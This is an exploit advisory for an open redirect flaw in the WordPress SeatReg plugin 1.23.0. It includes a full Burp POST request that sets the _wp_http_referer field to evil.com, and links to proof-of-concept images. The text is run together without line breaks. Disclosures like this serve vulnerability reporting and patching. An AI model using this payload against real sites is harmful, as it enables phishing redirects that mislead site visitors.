WordPress SeatReg 1.23.0 Open Redirect

# Exploit Title: WordPress Plugin ‘SeatReg’  - Unauthenticated OpenRedirect# Date: 01-08-2022# Exploit Author: Mariam Tariq - HunterSherlock# Vendor Homepage: https://wordpress.org/plugins/seatreg/# Version: 1.23.0# Tested on: Firefox# Contact me: [email protected]*#Description:*An Open Redirection is a vulnerability when a web application or serveruses an unvalidated user-submitted link to redirect the user to a givenwebsite or page.*#Example of Burp Request *```POST /wp-admin/admin-post.php HTTP/1.1Host: website.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0)Gecko/20100101 Firefox/103.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://website.comContent-Type: application/x-www-form-urlencodedContent-Length: 185Origin: https://website.comConnection: closeCookie: {cookies_here}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: NavigateSec-Fetch-Site: same-originnew-registration-name=dedeed&action=seatreg_create_submit&seatreg-admin-nonce=11b1308e8a&*_wp_http_referer=https://evil.com<https://evil.com>*&submit=Create+new+registration```*#PoC Image:*https://ibb.co/tCZWH0Hhttps://ibb.co/5kh299z